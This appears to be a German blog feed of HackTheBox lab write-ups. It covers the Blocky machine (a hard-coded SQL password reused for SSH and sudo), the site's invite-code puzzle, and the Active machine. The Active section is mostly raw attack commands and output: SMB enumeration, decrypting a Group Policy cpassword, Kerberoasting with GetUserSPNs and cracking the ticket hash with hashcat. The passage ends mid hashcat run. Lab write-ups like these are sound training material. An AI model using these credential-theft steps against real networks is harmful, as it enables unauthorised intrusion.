</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>public class BlockyCore
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>public BlockyCore<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>sqlHost <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;localhost&#34;</span>;
</span></span><span style="display:flex;"><span>sqlUser <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;root&#34;</span>;
</span></span><span style="display:flex;"><span>sqlPass <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;8YsqfCTnvxAUeduzjNSXe22&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>public void onServerStart<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>public void onServerStop<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>public void onPlayerJoin<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>sendMessage<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;TODO get username&#34;</span>, <span style="color:#e6db74">&#34;Welcome to the BlockyCraft!!!!!!!&#34;</span><span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>public void sendMessage<span style="color:#f92672">(</span>String s, String s1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>public String sqlHost;
</span></span><span style="display:flex;"><span>public String sqlUser;
</span></span><span style="display:flex;"><span>public String sqlPass;
</span></span></code></pre></div><p>Ein Passwort für die SQL-Datenbank! Und das sogar unverschlüsselt&hellip; Was wir wohl damit alles anstellen können!</p>
<p>Versuchen wir uns doch beim SSH-Server mit dem bei Wordpress gefundenen Nutzernamen <strong>notch</strong> und dem in der <strong>BlockyCore.class</strong> gefundenen SQL-Passwort anzumelden.<br>
Vielleicht ist der Server-Administrator so unvorsichtig und benutzt dieselben Daten auch für den SSH-Login&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# ssh notch@10.10.10.37
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>notch@10.10.10.37<span style="color:#960050;background-color:#1e0010">&#39;</span>s password:
</span></span><span style="display:flex;"><span>Welcome to Ubuntu 16.04.2 LTS <span style="color:#f92672">(</span>GNU/Linux 4.4.0-62-generic x86_64<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>notch@Blocky:~$ ls
</span></span><span style="display:flex;"><span>minecraft user.txt
</span></span></code></pre></div><p>Es hat funktioniert!<br>
Nun müssen wir nur noch an die Root-Rechte kommen</p>
<p>Kann es sein, dass der Administrator wieder dasselbe Passwort für den Super-User benutzt? Das kann doch normalerweise nicht sein&hellip; Aber vielleicht haben wir ja Glück.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>notch@Blocky:~$ sudo su
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>sudo<span style="color:#f92672">]</span> password <span style="color:#66d9ef">for</span> notch:
</span></span><span style="display:flex;"><span>root@Blocky:/home/notch# cd /root/
</span></span><span style="display:flex;"><span>root@Blocky:~# ls
</span></span><span style="display:flex;"><span>root.txt
</span></span></code></pre></div><p>Wow&hellip; Dass jemand sooft dasselbe Passwort verwendet&hellip; Aber gut für uns!</p>
]]></content></item><item><title>HackTheBox Invite Code WriteUp | Tipps + Anleitung</title><link>https://m10x.de/posts/2017/12/hackthebox-invite-code-writeup-tipps--anleitung/</link><pubDate>Tue, 19 Dec 2017 20:32:56 +0100</pubDate><guid>https://m10x.de/posts/2017/12/hackthebox-invite-code-writeup-tipps--anleitung/</guid><description>Tipps und Anleitung dazu, wie man an den Registrierungs Code für HackTheBox kommt.
Dieser Eintrag ist mit mehreren Spoiler versehen, damit du den nächsten Schritt erstmal selber ausprobieren kannst.
Einleitung HackTheBox ist eine online Plattform bei der man seine IT-Sicherheit und Penetration Test Fähigkeiten anwenden, testen und verbessern kann.
Um sich registrieren zu können muss man einen kleinen Test bestehen. Ich habe diesen Eintrag geschrieben, da der Test kein Hindernis sein soll, sich bei HackTheBox zu beteiligen.</description><content type="html"><![CDATA[<p>Tipps und Anleitung dazu, wie man an den Registrierungs Code für <a href="http://hackthebox.eu/">HackTheBox</a> kommt.<br>
Dieser Eintrag ist mit mehreren Spoiler versehen, damit du den nächsten Schritt erstmal selber ausprobieren kannst.</p>
<h2 id="einleitung"><strong>Einleitung</strong></h2>
<p><a href="http://hackthebox.eu/">HackTheBox</a> ist eine online Plattform bei der man seine IT-Sicherheit und Penetration Test Fähigkeiten anwenden, testen und verbessern kann.<br>
Um sich registrieren zu können muss man einen kleinen Test bestehen. Ich habe diesen Eintrag geschrieben, da der Test kein Hindernis sein soll, sich bei HackTheBox zu beteiligen.<br>
Zum Beispiel, wenn man nur &ldquo;hineinschnuppern&rdquo; möchte oder bei einer Sache nicht weiter kommt.<br>
Allerdings gilt wie immer beim PenTesting das Motto &ldquo;Try Harder!&rdquo;. :)</p>
<h2 id="tipps"><strong>Tipps</strong></h2>
<ul>
<li>Untersuche den Quellcode.</li>
<li>Du wirst die Console vom Browser benötigen um einen Java Script Befehl auszuführen</li>
<li>Du musst Base64 und eventuell ROT13 dekodieren.</li>
<li>Um einen POST-request zu senden kannst du Browser Addons benutzen</li>
</ul>
<h2 id="video"><strong>Video</strong></h2>
<p><a href="http://www.youtube.com/embed/5bEOmzgnWC4"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/5bEOmzgnWC4/0.jpg"></a></p>
<h2 id="anleitung"><strong>Anleitung</strong></h2>
<p>Als erstes untersuchen wir den Quellcode (<strong>F12</strong> oder <strong>Rechtsklick</strong> und <strong>(Element) untersuchen</strong>)</p>
<p><a href="https://i.imgur.com/H11xz1Q.jpg"><img alt="Quell Code Untersuchen" src="https://i.imgur.com/H11xz1Q.jpg"></a></p>
<p>Können wir dort etwas interessantes finden?</p>
<p><a href="https://imgur.com/wj1ZgR5.jpg"><img alt="/js/inviteapi.min.js" src="https://imgur.com/wj1ZgR5.jpg"></a></p>
<p>Das JavaScript mit dem Pfad <strong>/js/inviteapi.min.js</strong> sieht vielversprechend aus oder?<br>
Sehen wir uns es mal genauer an&hellip;</p>
<p><a href="https://imgur.com/NGOlxgY.jpg"><img alt="inviteapi.min.js" src="https://imgur.com/NGOlxgY.jpg"></a></p>
<p><strong>POST</strong> und <strong>makeInviteCode</strong> sehen nützlich aus. <strong>POST</strong> bedeutet in diesem Fall, dass das JavaScript ein HTTP Post Request unterstützt. <strong>makeInviteCode</strong> ist eine Funktion des JavaScripts.<br>
Was können wir nun mit diesem Wissen anfagen?</p>
<p><a href="https://imgur.com/HMmOBL0.jpg"><img alt="makeInviteCode() in Konsole ausführen" src="https://imgur.com/HMmOBL0.jpg"></a></p>
<p>Wir führen die die Funktion <strong>makeInviteCode()</strong> in der Konsole unseres Internetbrowsers aus (in meinem Fall Firefox Quantum Developer Edition) und erhalten folgendes:<br>
data = <strong>Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/vaivgr/trarengr</strong><br>
enctype = <strong>ROT13</strong><br>
Wir haben nun also einen String der mit Hilfe von &ldquo;<a href="https://de.wikipedia.org/wiki/ROT13">ROT13</a>&rdquo; verschlüsselt wurde. &ldquo;<a href="https://de.wikipedia.org/wiki/ROT13">ROT13</a>&rdquo; ist eine Caesar-Verschlüsselung, bei der alle Buchstaben um 13 Stellen im Alphabet verschoben werden. Wer wissen möchte, wie man mit &ldquo;<a href="https://de.wikipedia.org/wiki/ROT13">ROT13</a>&rdquo; verschlüsselte Strings ganz einfach mit Bash oder Python entschlüsseln kann, kann dies in meinem &ldquo;<a href="https://www.m10x.de/ctf-wargame/overthewire-bandit/">OverTheWire Bandit</a>&rdquo; Anleitung nachsehen, bei Level 11-12.<br>
Der Einfachheit halber kann man auch eine <a href="https://gc.de/gc/rot13/">Internetseite</a> benutzen, die das auf Knopfdruck für einen macht oder ein Browser-Plugin. Ich benutze das Mozilla Firefox Quantum Plugin &ldquo;<a href="https://addons.mozilla.org/de/firefox/addon/new-hackbar/">New Hackbar</a>&rdquo; dafür.</p>
<p><a href="https://imgur.com/H5k78vR.jpg"><img alt="ROT13 Entschlüsseln" src="https://imgur.com/H5k78vR.jpg"></a>        <a href="https://imgur.com/XTNxz7K.jpg"><img alt="Entschlüsselter Text" src="https://imgur.com/XTNxz7K.jpg"></a></p>
<p>Der entschlüsselte Text ist wie folgt: <strong>In order to generate the invite code, make a POST request to /api/invite/generate</strong></p>
<p>Um sehr einfach ein POST request zu machen, kann man ein Browser-Plugin dafür benutzen.<br>
Firefox Quantum: <a href="https://addons.mozilla.org/de/firefox/addon/new-hackbar/">New Hackbar</a><br>
Firefox Älter: <a href="https://addons.mozilla.org/de/firefox/addon/hackbar/">Hackbar</a><br>
Google Chrome: <a href="https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop">Postman</a><br>
Ich werde Firefox Quantum mit dem &ldquo;New Hackbar&rdquo; Plugin dafür benutzen, was du benutzt, ist natürlich dir überlassen.</p>
<p><a href="https://imgur.com/Pa9AEOB.jpg"><img alt="POST Request senden" src="https://imgur.com/Pa9AEOB.jpg"></a></p>
<p>Wir sehen nun <strong>code = SIJFVEwtSktSRkktSFIPUEYtTFIGR08tTU5QVVM=</strong> und <strong>format = encoded</strong><br>
Wir haben jetzt also anscheinend, den Code den wir für die Registrierung benötigen, aber dieser ist noch codiert ( = encoded).<br>
Allerdings steht dort nicht, wie der Code codiert wurde. Wie können wir dies herausfinden? Trial &amp; Error?</p>
<p>Der String <strong>code</strong> hat an letzter Stelle ein <strong>=</strong>. Deshalb ist die Wahrscheinlichkeit groß, dass der String mit Hilfe von <a href="https://de.wikipedia.org/wiki/Base64">Base64</a> codiert wurde,<br>
da eine <a href="https://de.wikipedia.org/wiki/Base64">Base64</a> Kodierung immer mit einem <strong>=</strong> endet.<br>
Versuchen wir mal unser Glück.</p>
<p><a href="https://imgur.com/ZID9EW1.jpg"><img alt="hackbar" src="https://imgur.com/ZID9EW1.jpg"></a></p>
<p><a href="https://imgur.com/BfAP5mB.jpg"><img src="https://imgur.com/BfAP5mB.jpg"></a></p>
<p>Geschafft!! Wir haben nun den Code, welchen wir benötigt haben.</p>
<p>Probieren wir ihn mal aus. :)</p>
<p><a href="https://imgur.com/8tGsDNW.jpg"><img alt="invitecode" src="https://imgur.com/8tGsDNW.jpg"></a></p>
<p><a href="https://imgur.com/5eCssZ4.jpg"><img alt="geschafft" src="https://imgur.com/5eCssZ4.jpg"></a></p>
<p>Es hat funktioniert!</p>
]]></content></item><item><title>First post</title><link>https://m10x.de/posts/2010/01/first-post/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/first-post/</guid><description/><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
]]></content></item><item><title>HackTheBox - Active</title><link>https://m10x.de/posts/2010/01/hackthebox-active/</link><pubDate>Fri, 01 Jan 2010 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2010/01/hackthebox-active/</guid><description>https://github.com/SecureAuthCorp/impacket
https://github.com/leonteale/pentestpackage/blob/master/Gpprefdecrypt.py
root@kali:~/active# nmap -sV -sC 10.10.10.100
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-07 10:11 CET
Nmap scan report for 10.10.10.100
Host is up (0.022s latency).
Not shown: 983 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2018-12-07 09:12:05Z)
135/tcp open msrpc Microsoft Windows RPC</description><content type="html"><![CDATA[<p><a href="http://www.youtube.com/watch?v=YOUTUBE_VIDEO_ID_HERE"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/YOUTUBE_VIDEO_ID_HERE/0.jpg"></a></p>
<p><a href="https://github.com/SecureAuthCorp/impacket">https://github.com/SecureAuthCorp/impacket</a></p>
<p><a href="https://github.com/leonteale/pentestpackage/blob/master/Gpprefdecrypt.py">https://github.com/leonteale/pentestpackage/blob/master/Gpprefdecrypt.py</a></p>
<p>root@kali:~/active# nmap -sV -sC 10.10.10.100<br>
Starting Nmap 7.70 ( <a href="https://nmap.org">https://nmap.org</a> ) at 2018-12-07 10:11 CET<br>
Nmap scan report for 10.10.10.100<br>
Host is up (0.022s latency).<br>
Not shown: 983 closed ports<br>
PORT STATE SERVICE VERSION<br>
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)<br>
| dns-nsid:<br>
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)<br>
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2018-12-07 09:12:05Z)<br>
135/tcp open msrpc Microsoft Windows RPC<br>
139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)<br>
445/tcp open microsoft-ds?<br>
464/tcp open kpasswd5?<br>
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0<br>
636/tcp open tcpwrapped<br>
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)<br>
3269/tcp open tcpwrapped<br>
49152/tcp open msrpc Microsoft Windows RPC<br>
49153/tcp open msrpc Microsoft Windows RPC<br>
49154/tcp open msrpc Microsoft Windows RPC<br>
49155/tcp open msrpc Microsoft Windows RPC<br>
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0<br>
49158/tcp open msrpc Microsoft Windows RPC<br>
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows</p>
<p>Host script results:<br>
| smb2-security-mode:<br>
| 2.02:<br>
|_ Message signing enabled and required<br>
| smb2-time:<br>
| date: 2018-12-07 10:13:01<br>
|_ start_date: 2018-12-07 09:42:16</p>
<p>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>
Nmap done: 1 IP address (1 host up) scanned in 151.38 seconds</p>
<p>root@kali:~/active# python smbclient.py 10.10.10.100<br>
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation</p>
<p>Type help for list of commands</p>
<h1 id="shares">shares</h1>
<p>ADMIN$<br>
C$<br>
IPC$<br>
NETLOGON<br>
Replication<br>
SYSVOL<br>
Users</p>
<h1 id="use-replication">use Replication</h1>
<h1 id="ls">ls</h1>
<p>drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 .<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 ..<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 active.htb</p>
<h1 id="cd-activehtb">cd active.htb</h1>
<h1 id="ls-1">ls</h1>
<p>drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 .<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 ..<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 DfsrPrivate<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 Policies<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 scripts</p>
<h1 id="cd-policies">cd Policies</h1>
<h1 id="ls-2">ls</h1>
<p>drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 .<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 ..<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 {31B2F340-016D-11D2-945F-00C04FB984F9}<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 {6AC1786C-016F-11D2-945F-00C04fB984F9}</p>
<h1 id="cd-31b2f340-016d-11d2-945f-00c04fb984f9">cd {31B2F340-016D-11D2-945F-00C04FB984F9}</h1>
<h1 id="ls-3">ls</h1>
<p>drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 .<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 ..<br>
-rw-rw-rw- 23 Sat Jul 21 12:38:11 2018 GPT.INI<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 Group Policy<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 MACHINE<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 USER</p>
<h1 id="cd-machine">cd machine</h1>
<h1 id="ls-4">ls</h1>
<p>drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 .<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 ..<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 Microsoft<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 Preferences<br>
-rw-rw-rw- 2788 Sat Jul 21 12:38:11 2018 Registry.pol</p>
<h1 id="cd-preferences">cd Preferences</h1>
<h1 id="ls-5">ls</h1>
<p>drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 .<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 ..<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 Groups</p>
<h1 id="cd-groups">cd Groups</h1>
<h1 id="ls-6">ls</h1>
<p>drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 .<br>
drw-rw-rw- 0 Sat Jul 21 12:37:44 2018 ..<br>
-rw-rw-rw- 533 Sat Jul 21 12:38:11 2018 Groups.xml</p>
<h1 id="get-groupsxml">get Groups.xml</h1>
<h1 id="exit">exit</h1>
<p>root@kali:~/active# cat Groups.xml</p>
<!-- raw HTML omitted -->
<p><!-- raw HTML omitted --><!-- raw HTML omitted -->&lt;Properties action=&ldquo;U&rdquo; newName=&quot;&quot; fullName=&quot;&quot; description=&quot;&quot; cpassword=&ldquo;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ&rdquo; changeLogon=&ldquo;0&rdquo; noChange=&ldquo;1&rdquo; neverExpires=$<br>
1&quot; acctDisabled=&ldquo;0&rdquo; userName=&ldquo;active.htb\SVC_TGS&rdquo;/&gt;<!-- raw HTML omitted --><br>
<!-- raw HTML omitted --></p>
<p>root@kali:<del>/active# python gpprefdecrypt.py edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ<br>
GPPstillStandingStrong2k18<br>
root@kali:</del>/active# python smbclient.py SVC_TGS:GPPstillStandingStrong2k18@10.10.10.100<br>
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation</p>
<p>Type help for list of commands</p>
<h1 id="shares-1">shares</h1>
<p>ADMIN$<br>
C$<br>
IPC$<br>
NETLOGON<br>
Replication<br>
SYSVOL<br>
Users</p>
<h1 id="use-users">use users</h1>
<h1 id="ls-7">ls</h1>
<p>drw-rw-rw- 0 Sat Jul 21 16:39:20 2018 .<br>
drw-rw-rw- 0 Sat Jul 21 16:39:20 2018 ..<br>
drw-rw-rw- 0 Mon Jul 16 12:14:21 2018 Administrator<br>
drw-rw-rw- 0 Mon Jul 16 23:08:56 2018 All Users<br>
drw-rw-rw- 0 Mon Jul 16 23:08:47 2018 Default<br>
drw-rw-rw- 0 Mon Jul 16 23:08:56 2018 Default User<br>
-rw-rw-rw- 174 Mon Jul 16 23:01:17 2018 desktop.ini<br>
drw-rw-rw- 0 Mon Jul 16 23:08:47 2018 Public<br>
drw-rw-rw- 0 Sat Jul 21 17:16:32 2018 SVC_TGS</p>
<h1 id="cd-svc_tgs">cd SVC_TGS</h1>
<h1 id="ls-8">ls</h1>
<p>drw-rw-rw- 0 Sat Jul 21 17:16:32 2018 .<br>
drw-rw-rw- 0 Sat Jul 21 17:16:32 2018 ..<br>
drw-rw-rw- 0 Sat Jul 21 17:14:20 2018 Contacts<br>
drw-rw-rw- 0 Sat Jul 21 17:14:42 2018 Desktop<br>
drw-rw-rw- 0 Sat Jul 21 17:14:28 2018 Downloads<br>
drw-rw-rw- 0 Sat Jul 21 17:14:50 2018 Favorites<br>
drw-rw-rw- 0 Sat Jul 21 17:15:00 2018 Links<br>
drw-rw-rw- 0 Sat Jul 21 17:15:23 2018 My Documents<br>
drw-rw-rw- 0 Sat Jul 21 17:15:40 2018 My Music<br>
drw-rw-rw- 0 Sat Jul 21 17:15:50 2018 My Pictures<br>
drw-rw-rw- 0 Sat Jul 21 17:16:05 2018 My Videos<br>
drw-rw-rw- 0 Sat Jul 21 17:16:20 2018 Saved Games<br>
drw-rw-rw- 0 Sat Jul 21 17:16:32 2018 Searches</p>
<h1 id="cd-desktop">cd Desktop</h1>
<h1 id="ls-9">ls</h1>
<p>drw-rw-rw- 0 Sat Jul 21 17:14:42 2018 .<br>
drw-rw-rw- 0 Sat Jul 21 17:14:42 2018 ..<br>
-rw-rw-rw- 34 Sat Jul 21 17:14:42 2018 user.txt</p>
<h1 id="get-usertxt">get user.txt</h1>
<h1 id="exit-1">exit</h1>
<p>root@kali:~/active# cat user.txt<br>
86d#########ZENSIERT#########983</p>
<p>root@kali:~/active# python GetUserSPNs.py -dc-ip 10.10.10.100 -request active.htb/SVC_TGS:GPPstillStandingStrong2k18<br>
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation</p>
<p>ServicePrincipalName Name MemberOf PasswordLastSet LastLogon</p>
<hr>
<p>active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-07-30 19:17:40</p>
<p>$krb5tgs$23$<em>Administrator$ACTIVE.HTB$active/CIFS~445</em>$10589d87c1a98b404545a09ac0edbec8$9470373fe8ddd05e0cb35e6307ce19f2b782e291b568af5f62b6096dfb46dee03cd8add92816c256b21fc8c475acdf49e825e2f32a361bd4b94b9d56eb7<br>
de54b8a728752c6f7e50ceb6024d388b4ba99ba4a02dd3975355f49f9184f1e6b7606f5554d5e45d28693a5aef90f0591d36567d0e8c641e16e7c8d05047b2d9d2040e5be0a37abcb7e0e106f0a98f5861f000506daef442270dba05d0a0b593a86cd2cfb231ed9a623<br>
da2ec87bfd185a90c79baf2d05b9f6a0edd79c9a25a2087f22211dc99749099ac091fceab6647e6da19164dba1bd174df0bb0e3f82ba790f840b7b0d19fbc8d4e21077b9f7dc45cfc9e54ce9b788293c6d222504fdc995923ad940bdfc80da606708f0485b448a9e689<br>
d165f07b1d5da0f249c5db85d98d54be7d3a985808cfee3bbeb3f875eb33e6b818ed5d2f699960280092ebf9506d0510bb3f23fd1d94ce0ee3cbd3066240ddeda67986a5b70334baea5dbd88743fb3ef843ea170ecd38469a5fa1dc957566579ea25ec3c81f0e8dbaa6<br>
8e0c203409ebedd098cc928cab4632c401d7c5a64cc997ed3ec6e87b37b44d5dc349c25edf41623df54cde4cc356fe1023ac62684a9278bf0756d46634eb1a0379d614dd78488293b8e7a7e770ac078afdc6b60f0edd4c336557a6791c398126c61c9e546894e29d5d7<br>
ae3111e13fbdd4c7b68be0d7e71520d3f7f1ec6826fe24683a7c9c32a16c28221ebd8b4fe61a189cfce3d2115d9840aa9e3d77a46077d05a6cca034a81117f1240fc21c9ccaba16c5bed6815a8338b75dc293b193f45b8354e0f5aa2acad7c1606bd5d30651e9661663<br>
211b1e11c07073c9d932e157073fd8940055a1fb2c03260af72a521c9f633412b3d1bf9e9e21b755a92d812a1e6061dff7c0564286a0c897e6be885a8fdb8b48c6314ed2d118d504675b9935f65eafecd69f57894fdee85a32950f9ef8f21c5f6010019837d1fa1cd68<br>
8161cf02a9e6eb47041a83258353fb2fdd434a20de6362cb17f42b44b53f4f7b6ecd83d1b4c23698562a1ebe5b306bc6154aaaf3668738fb72078e90ad4ce5c72cd6f92df6d6747d6fcd7d23b9616a9fdbdd4312a25960102dc9b6985128e77fc7b6227bf27248efe90<br>
f6637e0b98bb4a72e6e452b80931649dec99bf2e8fa3c418889a6d83576110f1ad655f3e67c798b724e7b8ae1512b32ab4dbb5e46f1fd278124ba952467ec27014f0ea8e88346db8949b6c606fc9d7081ad03b85d7fa15b96a60<br>
root@kali:<del>/active# echo &lsquo;$krb5tgs$23$_Administrator$ACTIVE.HTB$active/CIFS</del>445_$10589d87c1a98b404545a09ac0edbec8$9470373fe8ddd05e0cb35e6307ce19f2b782e291b568af5f62b6096dfb46dee03cd8add92816c256b21fc8c475acdf49e<br>
825e2f32a361bd4b94b9d56eb7de54b8a728752c6f7e50ceb6024d388b4ba99ba4a02dd3975355f49f9184f1e6b7606f5554d5e45d28693a5aef90f0591d36567d0e8c641e16e7c8d05047b2d9d2040e5be0a37abcb7e0e106f0a98f5861f000506daef442270dba05d<br>
0a0b593a86cd2cfb231ed9a623da2ec87bfd185a90c79baf2d05b9f6a0edd79c9a25a2087f22211dc99749099ac091fceab6647e6da19164dba1bd174df0bb0e3f82ba790f840b7b0d19fbc8d4e21077b9f7dc45cfc9e54ce9b788293c6d222504fdc995923ad940bdf<br>
c80da606708f0485b448a9e689d165f07b1d5da0f249c5db85d98d54be7d3a985808cfee3bbeb3f875eb33e6b818ed5d2f699960280092ebf9506d0510bb3f23fd1d94ce0ee3cbd3066240ddeda67986a5b70334baea5dbd88743fb3ef843ea170ecd38469a5fa1dc95<br>
7566579ea25ec3c81f0e8dbaa68e0c203409ebedd098cc928cab4632c401d7c5a64cc997ed3ec6e87b37b44d5dc349c25edf41623df54cde4cc356fe1023ac62684a9278bf0756d46634eb1a0379d614dd78488293b8e7a7e770ac078afdc6b60f0edd4c336557a6791<br>
c398126c61c9e546894e29d5d7ae3111e13fbdd4c7b68be0d7e71520d3f7f1ec6826fe24683a7c9c32a16c28221ebd8b4fe61a189cfce3d2115d9840aa9e3d77a46077d05a6cca034a81117f1240fc21c9ccaba16c5bed6815a8338b75dc293b193f45b8354e0f5aa2a<br>
cad7c1606bd5d30651e9661663211b1e11c07073c9d932e157073fd8940055a1fb2c03260af72a521c9f633412b3d1bf9e9e21b755a92d812a1e6061dff7c0564286a0c897e6be885a8fdb8b48c6314ed2d118d504675b9935f65eafecd69f57894fdee85a32950f9ef<br>
8f21c5f6010019837d1fa1cd688161cf02a9e6eb47041a83258353fb2fdd434a20de6362cb17f42b44b53f4f7b6ecd83d1b4c23698562a1ebe5b306bc6154aaaf3668738fb72078e90ad4ce5c72cd6f92df6d6747d6fcd7d23b9616a9fdbdd4312a25960102dc9b6985<br>
128e77fc7b6227bf27248efe90f6637e0b98bb4a72e6e452b80931649dec99bf2e8fa3c418889a6d83576110f1ad655f3e67c798b724e7b8ae1512b32ab4dbb5e46f1fd278124ba952467ec27014f0ea8e88346db8949b6c606fc9d7081ad03b85d7fa15b96a60&rsquo; &gt; s<br>
pn.txt<br>
root@kali:~/active# hashcat -m 13100 -a 0 spn.txt /usr/share/wordlists/rockyou.txt<br>
hashcat (v5.0.0) starting…</p>
<h1 id="opencl-platform-1-the-pocl-project">OpenCL Platform #1: The pocl project</h1>
<ul>
<li>Device #1: pthread-AMD Ryzen 7 1700 Eight-Core Processor, 1024/2295 MB allocatable, 4MCU</li>
</ul>
<p>Hashes: 1 digests; 1 unique digests, 1 unique salts<br>
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates<br>
Rules: 1</p>
<p>Applicable optimizers:</p>
<ul>
<li>Zero-Byte</li>
<li>Not-Iterated</li>
<li>Single-Hash</li>
<li>Single-Salt</li>
</ul>
<p>Minimum password length supported by kernel: 0<br>
Maximum password length supported by kernel: 256</p>
<p>ATTENTION! Pure (unoptimized) OpenCL kernels selected.<br>
This enables cracking passwords and salts &gt; length 32 but for the price of drastically reduced performance.<br>
If you want to switch to optimized OpenCL kernels, append -O to your commandline.</p>
<p>Watchdog: Hardware monitoring interface not found on your system.<br>
Watchdog: Temperature abort trigger disabled.</p>
<ul>
<li>Device #1: build_opts &lsquo;-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D D<br>
